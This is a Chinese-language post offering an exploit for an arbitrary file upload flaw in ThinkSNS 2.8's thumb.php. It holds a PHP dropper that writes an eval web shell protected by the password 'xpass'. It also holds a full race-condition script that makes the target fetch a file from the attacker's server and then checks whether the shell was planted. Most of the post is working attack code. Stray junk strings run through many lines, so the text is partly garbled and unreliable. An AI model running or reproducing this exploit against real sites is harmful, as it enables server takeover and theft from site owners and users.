Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
# Y3 t+ x$ y9 U! F- O- e+ r存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
存在漏洞的文件为：thumb.php
" }1 w* n& r% T3 y% T1 L7 c作者：韦鲲鹏
0 r+ }% c+ H- U* X" g7 x1、        准备如下PHP文件并上传到服务器（自己的）。
1 Q( y) I' Z3 z: o( @文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
; J8 v& H( t- a, C: M! L" Q2、        计算出临时的文件名：
' E& ?  O# T, x  P1 d  C! t这里我们可以看文件的99行（刚刚是不是没注意呀！）。

. m, {7 ?6 W1 o; m4 u! c: R3、        上传临时文件。
4、        访问临时文件。
; \/ \" h3 l5 |/ [  W/ C. y但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
( w! v" _: }7 d  T  n' d: R# M! O<?php
$ e  T; `8 P2 ^error_reporting(0);
$ K: K' V  [/ H" xset_time_limit(0);
6 _& ]' E- X2 K$ q8 X0 T# ~+ i. dini_set(“default_socket_timeout”, 5);
$ V: W  W0 f( _4 c; Y8 Rfunction http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
return $fp;
}
' ]1 I& U' ~7 v" I' `function http_recv($fp) {
$ret=”";
while (!feof($fp))
$ret.= fgets($fp, 1024);
/ _4 }5 F+ Z0 G/ `' `fclose($fp);
return $ret;
}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
  R" y8 }( _; Y0 B8 n3 kprint “Usage:   php <host> <path> <romote_url>\n”;
$ R: [" y- |1 Aprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
6 y. o- U) H& i4 C1 H3 P% c3 @die();
}
$host = $argv[1];
0 [& W+ \  A+ W  R. n, s$path = $argv[2];
$url = $argv[3];
* `6 m% X* }5 M' U$i=0;
0 B) ]4 B5 t0 H//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
7 \/ V; o- z6 L, W) J$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
* e8 E0 Z1 O0 u: D, ?$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
2 o! T; Q, e+ S  jecho $headers;
while(++$i<10) {
8 j. C) h& j2 P. H, @% G; ]fclose(http_send($host, 80, $headers));
}
* x! I  f# A2 r+ L) d0 [fclose(http_send($host, 80, $headers_up));
while(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
5 b$ t$ }9 K6 c4 J( `$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
" i( B7 s; r. s$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
6 a8 a- f- S; m4 B. f& K! w/ h- f} else {
print “Fail!\n\n”;
7 s5 V, a# r9 ]; B0 K% O$ y}
1 P( v, b1 G7 E9 V: d) j4 V?>
​